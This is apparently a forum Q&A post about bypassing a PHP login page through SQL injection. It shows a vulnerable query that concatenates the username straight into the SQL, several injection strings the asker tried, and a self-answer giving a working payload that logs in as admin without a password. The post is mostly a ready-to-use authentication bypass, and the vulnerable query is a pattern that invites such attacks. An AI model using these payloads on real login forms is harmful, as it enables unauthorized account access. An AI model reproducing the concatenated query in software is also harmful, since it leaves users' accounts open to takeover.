sql注入可能是下面的PHP代码吗？

Question

$sql_checkpasswd = "SELECT user_id, username, user_password, user_active
FROM " . USERS_TABLE . "
WHERE username = '" . $username . "'" . " AND user_password = '" . md5($password). "'";

Above is how my php code is written. This is for a login page.

How can use sql injection technique to login without knowing password?

Thanks

I tried all possible combinations ' OR '1=1'

' OR '1=1' --

admin');#

and all usual one's.

Error for one of the query: http://prntscr.com/53bmv8

P.s.: I have spent a great deal of time doing research on the subject and tried many different methods, which is why I am posting this question in order to get some help. I'm new at sql injection.

Answer 1

I finally figured this out, might help someone else having same question:

Enter this in username field:

admin' AND 1=1 or '1'='1

Above username works fine, I dont have to enter password and can leave it blank since the query becomes

$username= admin' AND 1=1 OR '1'='1 AND $password = anything

Even if one condition is satisfied in above query, i get the access and the username part is True since 1=1AND admin is an existing username